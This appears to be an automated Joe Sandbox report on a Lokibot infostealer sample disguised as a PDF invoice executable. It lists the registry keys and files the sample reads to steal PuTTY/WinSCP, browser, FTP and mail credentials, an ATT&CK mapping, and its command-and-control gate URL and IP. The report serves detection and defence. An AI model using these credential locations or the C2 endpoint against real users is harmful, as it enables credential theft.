Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_00406069 GetUserNameW,

1_2_00406069

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476, type: MEMORY
Source: Yara match	File source: Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572, type: MEMORY
Source: Yara match	File source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: PopPassword		1_2_0040D069
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: SmtpPassword		1_2_0040D069

Source: Yara match	File source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572, type: MEMORY
Source: Yara match	File source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Access Token Manipulation1	Disable or Modify Tools1	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection12	Deobfuscate/Decode Files or Information1	Credentials in Registry2	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information3	Security Account Manager	System Information Discovery13	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing12	NTDS	Security Software Discovery111	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol112	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Virtualization/Sandbox Evasion2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion2	Cached Domain Credentials	Process Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Access Token Manipulation1	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection12	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PI_Nov9071011998_ENTRUSTpdf.exe	20%	Virustotal		Browse
PI_Nov9071011998_ENTRUSTpdf.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
webtex.ga	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/9	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/JT	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/eT	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/eT	0%	Avira URL Cloud	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.founder.com.cn/cnpro	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/WTa	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/s	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/$T	0%	Avira URL Cloud	safe
http://webtex.ga/ibiki/gate.php	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0-d	0%	Avira URL Cloud	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.founder.com.cn/cnac8	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/3T	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
webtex.ga	47.91.79.163	true	true	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://webtex.ga/ibiki/gate.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/9	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224544561.0000000005F72000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/JT	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/eT	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225373707.0000000005F68000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/eT	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.ibsensoftware.com/	PI_Nov9071011998_ENTRUSTpdf.exe, PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.com	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.coma	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.234416730.0000000005F67000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cnpro	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224342922.0000000005F71000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/WTa	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224544561.0000000005F72000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/s	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp, PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225166450.0000000005F63000.00000004.00000001.sdmp, PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225636033.0000000005F6A000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0/	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/$T	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0-d	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.como	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.234416730.0000000005F67000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cnac8	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.224544561.0000000005F72000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235301021.0000000002F31000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/3T	PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000003.225477436.0000000005F66000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
47.91.79.163	unknown	United States		45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	326333
Start date:	03.12.2020
Start time:	10:01:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PI_Nov9071011998_ENTRUSTpdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@302/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 6.8% (good quality ratio 6.5%) Quality average: 77.2% Quality standard deviation: 28.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 63 Number of non-executed functions: 6
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
